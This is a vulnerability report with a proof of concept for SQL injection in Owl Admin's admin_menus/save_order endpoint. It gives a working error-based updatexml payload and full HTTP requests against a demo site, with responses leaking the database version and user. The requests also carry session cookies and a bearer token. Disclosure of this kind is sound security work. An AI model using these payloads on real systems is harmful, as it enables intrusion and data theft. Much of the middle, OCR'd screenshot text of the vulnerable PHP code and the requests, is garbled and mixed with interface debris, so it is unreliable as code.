## The Owl Admin system has a SQL injection vulnerability in the /admin-api/system/admin\_menus/save\_order interface.

The Owl Admin system has a SQL injection vulnerability in the /admin-api/system/admin\_menus/save\_order interface.

POC:

```
ids=7,"(2)then(updatexml(1,concat(0x7e,(SELECT+
  (user())),0x7e),1))else`order`end#"
```

After logging into the Owl Admin system, it is possible to construct special parameters that can cause SQL injection.

Affected versions: 3.2.2~4.10.2

Vulnerability location:

```
| Second color | Seco
```

```
ひまりまり
          reorder
Q
                                                  AB 台
                                                                             public function form()
مړ
          8 文件中有 66 个结果 - 在编辑器中打开

✓ JS index-DVK099C8.js admin-views\dis... 5

æ
             ...order:e});var n=e.order||"preorder",i=this[..
                                                                              O references | O overrides

public function detail(): Form
             ...attr||"children"],o;n==="preorder"&&(o=..
             ...),v})}var l=0;o.eachNode("preorder",functi...
              ...;return o.root.eachNode("p<mark>reorder</mark>",funct...
                                                                                    return $this->baseDetail()->body(value: []);
              .attr:"viewChildren",order:"preorder"},func.

✓ # index-lws0u_as.css admin-views\dist... 2

             ...: "🏻 🗘 "}.fa-bars-staggered,.fa-reorder,.fa-s..
C
              .: "□"}.fa.fa-navicon,.fa.fa-<mark>reorder</mark>{--fa: "□"..

✓ JS powerquery-DdJtto1Z.js admin-vie... 2

              ..Record.RenameFields", "Record.ReorderFi...
              ...Table.RenameColumns", "Table.ReorderCo..
                                                                              1 reference | 0 overrides public function saveOrder(): JsonResource | JsonResponse
                                                  3 1
             ...autoResponse($this->service-... 👸 🗙
                                                                                    return $this->autoResponse(flag: $this->service->reorder(ids: request()->input('ids')));
                                                9+ 1
                                                         src > Services > * AdminMenuService.php > * AdminMenuService > * reorder()
                                                                  class AdminMenuService extends AdminService
protected function saveData($data, array $columns, AdminMenu $model): mixed
Q
                                             AB 筒
         8 文件中有 66 个结果 - 在编辑器中打开

✓ JS index-DVK099C8.is admin-views\dis... 5

           ...order:e});var n=e.order||"preorder",i=this[..
             ..attr||"children"],o;n==="p<mark>reorder</mark>"&&(o=.
                                                                          @param $ids
            ...),v})}var I=0;o.eachNode("preorder",functi...
            ...;return o.root.eachNode("preorder",funct...
             .attr:"viewChildren",order:"p<mark>reorder</mark>"),func..
          # index-lws0u as.css admin-views\dist... 2
                                                                       1 reference | 0 overrides

public function reorder($ids): mixed
            ...: "🏻 🗀"}.fa-bars-staggered,.fa-reorder,.fa-s...
C
              "🏻"}.fa.fa-navicon,.fa.fa-<mark>reorder</mark>{--fa: "🗘".
                                                                            if (blank($ids))
          JS powerquery-DdJtto1Z.js admin-vie... 2
             ..Table.RenameColumns", "Table.ReorderCo..
                                                                            $ids = json_decode(json: '[' . str_replace(search: '[', replace: ',[', subject: $ids) . ']');
           AdminMenuController.php src... 3 1
                                                                            $list = collect($this->refreshOrder(list: $ids))->transform(fn($i): float|int => $i * 10)->all();
           public function reorder($ids) & X
                                                                            $sql = 'update ' . $this->getModel()->getTable() . ' set `custom_order` = case id ';
                                                                            ...rename-28-regular", "fluent:reorder-20-fil...
             ..reorder-20-filled","fluent:reorder-20-reg...
             ..formkit:refresh","formkit:<mark>reorder</mark>","formki
             ..remove-r","gg:rename","gg:reorder","gg:...
..shopping-cart","ic:baseline-<mark>reorder</mark>","ic:b..
                                                                            return DB::update($sql . ' else `custom_order` end');
             ..shopping-cart", "ic:outline-reorder", "ic:ou.
             ..-shopping-cart","ic:round-<mark>reorder</mark>","ic:ro...
                                                                        2 references | 0 overrides
public function refreshOrder($list): mixed
              -shopping-cart","ic:sharp-reorder","ic:sha...
             .shopping-cart", "ic:twotone-<mark>reorder</mark>", "ic:t...
                                                                            $result = collect($list)->filter(fn($i): bool => !is array(value: $i))->values()->flip()->toArray();
             .-circle-outline","ion:ios-<mark>reorder</mark>","ion:ios-.
              remove-circle-outline","ion:md-<mark>reorder</mark>",
                                                                            collect($1ist)->filter(fn($i): bool => is_array(value: $i))->each(function ($item) use (&$result): void {
    $result = $this->refreshOrder(list: $item) + $result;
                ion:reorder-four","ion:reorder-four-out..
```

## Vulnerability Exploitation Demonstration:

```
POST /admin-api/system/admin_menus/save_order HTTP/2
                                                                                                                                                                                                                       HTTP/2 500 Internal Server Error
                                                                                                                                                                                                                       Server: nginx
Content-Type: application/json
Cache-Control: no-cache, private
Date: Fri, 14 Feb 2025 10:55:08 GMT
      Host: demo. owladmin. com
      Took: Usens: Wild and in Jelen Session=
eyJpd: i 61k90e1F6MRYY00px128WMR: Z2NDaXo9PSIsInZhbHVIIjoiYXdFNHRtanRudEF0YUNM0FNINVptR
E/CdWIOM3QDUXZDAXo9CYTRENI: eHDTZs0kt0RTVoabJXMSc0d1BaUGF10DRpcWtDYnhFcHdY0ZxSVdIVW
       pOeWIINELIRVRWRIVMbXRaTDF5TWZjNTFRN1hzT1ZiL3dnOXV4Z3dvaHoiLCdtYWMI0IJMmZhOGM2ZDI2Nzg
wYWY4NzJjOWYzYTIhOWZjZTUwODM1MzIwMjIIOWQ1NzBhYmM4NmIyNzAxMGQ3YzJjOTkwIiwidGFnIjoiInO%
                                                                                                                                                                                                                       Set-Cookie: owl_amdin_demo_session=eyJpdil6IIBpcHI1QkMyY0hITUZVVCtMa1h3NkE9PSIsInZhbH
                                                                                                                                                                                                                             "message": "SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~8.0.24~' (SQL "exception": "Illuminate\Database\\QueryException", "file": "/www/wwwroot/slow-admin-demo/vendor/laravel/framework/s "line": 15%, "trace": [
      3D
Sec-Ch-Ua: "Not A;Brand"; v="99", "Chromium"; v="99"
Accept: application/json, text/plain, */*
X-Xsrf-Token:
eyJodil6ijV9V3o4ais1aTZEdWRXTWdaNHJtdGe9PSIsInZhbHVIIjoiYjFHZHhMQ3BXdkdTOUN4c1ZrMFZIN
k952_jFCNGO9V1d5SG,CWE5udGZvGkx5eEFMMG9yWEFyonJBUME1NXBwaCtFUZdwMGNISggSWWJBHZZevJAGV
dVHpSMTBYUJOWTNJHTII izwdAGWJPaFFCA6S3CEZVyFziSSJ noEOGXWHICLEVYWNIOIiSYSZyNDUMMGJMGZ
1ZmEAVIT4MGVKZTVjWMISTMTSWYZEZYZMGMGGZNTAZODJHOTZ IZDRAMDMZZGUWZTRIMGNIIwid6FnljoiInO=
Authbrization: Bearez 29911digGVT30 icTbA01DMADTHIA 1406Fnlia/64FhWWSSYM
                                                                                                                                                                                                                                trace : {
    "file":"/www/wwwroot/slow-admin-demo."
line":719.
    "function":"runQueryCallback
    "olass":"llluminate\\D. vabase\\Connec
    type":"->"
}.
                                                                                                                                                                                                                   15
16
17
                                                                                                                                                                                                                                                                                                                                     or/laravel/framework/src/llluminate/Da
| IZmEzNTIAMGVAZTYJMMI3MTgwYZEZYZMOMGOZNTA20DJhOTZIZDRmMDMzZGLWZTRIMGNhIiwidGFnIjoiln0=
Authorization: Bearer 2899|LdiGv9T3ycjTshZ01FMqtDeTLj496rHtHVmx5gYm
Locale: zh_CN
9 Sec-Ch-Ua-Mobile: ?0
Olser-Agent: Mozilla/5,0 (Windows NT 10.0; Win64; x64) AppleWebKit/537,36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537,36
Sec-Fetch-Mote: cors
Sec-Fetch-Best: empty
12 Sec-Fetch-Best: empty
4 Referer: https://demo.owladmin.com/admin
5 Accept-Encoding: gzip, deflate
16 Accept-Language: zh-CN, zh;q=0.9
7 Connection: close
                                                                                                                                                                                                                                                                                               nase\\Connection"
                                                                                                                                                                                                                                         """ """ //www/wwwroot/slow-admin-demo/vendor/laravel/framework/src/llluminate/Da'
'line": 576,
'function": "run".
'class": "!lluminate\\Database\\Connection",
                                                                                                                                                                                                                  26
27
                                                                                                                                                                                                                                         'type"
      Connection: close
  18 Content-Type: application/x-www-form-urlencoded 19 Content-Length: 83
                                                                                                                                                                                                                                                         /www/wwwroot/slow-admin-demo/vendor/laravel/framework/src/llluminate/Da-
                                                                                                                                                                                                                                      "line":509,
  21 ids=7, "(2) then (updatexml (1, concat (0x7e, (SELECT+@@version), 0x7e), 1)) else`order`end#"
                                                                                                                                                                                     沒有匹配 ? < ← → Search..
(?($) ← → Search...
                                                                                                                                                                                                                                                                                                                                                                                                     没有匹配
```

```
1 POST /admin-api/system/admin menus/save order HTTP/2
                                                                                                                                                                                                                                                                                                                                 1 HTTP/2 500 Internal Server Error
         PUSI / admin-api/system/admin_menus/save_order H1IP/Z
Host: demo.owladmin.com
Cookie: owl_amdin.demo.session=
eyJudi 1618/05 FFAMWEY000xX28VallRiZ2NDaXe9PSIsInZhbHYIIjoiYXdFNRHtan
RudEF0YUNNOFNINVptREICdWIod3JqbUxZeDAva0cyTHRRMItH0TZs0kt0RTVcaDJX
M35dd18auGF100RpwU7rhiFcH6Y00ZsVd1VWpOeHIINE:HRVRRINVbXraIDF5TW
ZJNTFRNINTA11Z1L3dd0XV4Z34VablCL5LYWWI0 JJMMaZh0MZZD1XzgwWY4V4VzJ
                                                                                                                                                                                                                                                                                                                                 2 Server: nginx
3 Content-Type: application/json
                                                                                                                                                                                                                                                                                                                                 4 Cache-Control: no-cache, private
5 Date: Fri, 14 Feb 2025 10:59:07 GMT
                                                                                                                                                                                                                                                                                                                                                                                                                        ndin_demo_session=eyJpdil61jk5d0Z0MGcxU3hpR1hyQzUwYk94Rnc9PS1s1nZhbHV11joiNX1FdG96V1VERF
 ZJNTFRN1hz11ZiL3dnOXV4Z3dvahbiLCJtYWMiOiJhMmZhDGWZZDIZNzgwYWY4NzJj
0WYzYTIHOWZJZTUwODM1MzlwMjliOWO1NzBhYmM4NmlyNzAxMGQ3YzJjOTkwliwidG
FnJjoilnOX3D
4 Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="90"
5 Accept: application/json, text/plain, */*
6 Authorization: Bearer
2899[LdiGv9T3yojTshZ01FMqtDeTLj496rHtHVmx5gYm]
                                                                                                                                                                                                                                                                                                                                                  "message": "SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '"owl_admin_demo@localhost"' (SQL:
"exception": "Illuminate\Database\QueryException",
"file": "/www/wwwroot/slow-admin-demo/vendor/laravel/framework/src/lluming.orDatabase/Connection.php",
"line": 759,
"trace": [
                                                                                                                                                                                                                                                                                                                                                      trace .[

[file::"/www/wwwroot/slow-admin-demo/vendor/larrel/framework/src/llluminate/Database/Connection.ph
"line":719.
"function":"runQueryCallback",
"class":"llluminate\\Database\\donnection",
"type":"->"
"type":"->"
 7 Locale: xh_CN
8 Sec-Ch-Ua-Mobile: 20
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212
          Safari/537.36
      Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Mode: cors
Sec-Fetch-Mode: cors
Sec-Fetch-Mode: cors
Referer: https://demo. owladmin.com/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CM, zh;q=0.9
Connection: close
Content-Type: apolication/x-www-form-urlo
                                                                                                                                                                                                                                                                                                                                                                "file": "www/wwwroo."
"Last :576.
function": "run".
"class": "Ill uninate\\Database\\Connection",
"'"->"
17 Content-Type: application/x-www-form-urlencoded 18 Content-Length: 82
                                                                                                                                                                                                                                                                                                                                                                  "file": "/www/wwwroot/slow-admin-demo/vendor/laravel/framework/src/llluminate/Database/Connection.phg" and the state of 
                      "(2) then (updatexml (1, concat (0x7e, (SELECT+(user())), 0x7e), 1)) else
```

## Network packet:

## • Request

```
POST /admin-api/system/admin_menus/save_order HTTP/2
Host: demo.owladmin.com
Cookie:
owl_amdin_demo_session=eyJpdiI6Ik90eTF6MWtYQ0pxN28vMlRiZ2NDaXc9PSIsInZhbHvlljoiYX
dfnHRtanRudEF0YUNMOFNINVptRE1Cdw1oM3JqbUxZeDAva0cyTHRRMitHOTZsQkt0RTVoaDJXM3c0d1B
augf1oDRpcwtDYnhfcHdYQ0ZkSVdIVwpoewl]NEtiRVRwRlVMbXRaTDF5TwZjNTFRN1hzT1ZiL3dnoXV4
Z3dvaHoiLCJtYWMiOiJhMmZhOGM2ZDI2NzgwYwY4NzJjOWYzYTlhOWZjZTUWODM1MzIwMjliOWQ1NzBhY
mM4NmIyNzAxMGQ3YzJjOTkwIiwidGFnIjoiIn0%3D
Sec-Ch-Ua: "Not A;Brand";v="99", "Chromium";v="90"
Accept: application/json, text/plain, */*
Authorization: Bearer 2899|LdiGv9T3ycjTshZ01FMqtDeTLj496rHtHVmx5gYm
Locale: zh_CN
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.212 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.owladmin.com/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
ids=7,"(2)then(updatexm1(1,concat(0x7e,(SELECT+
(user())),0x7e),1))else`order`end#"
```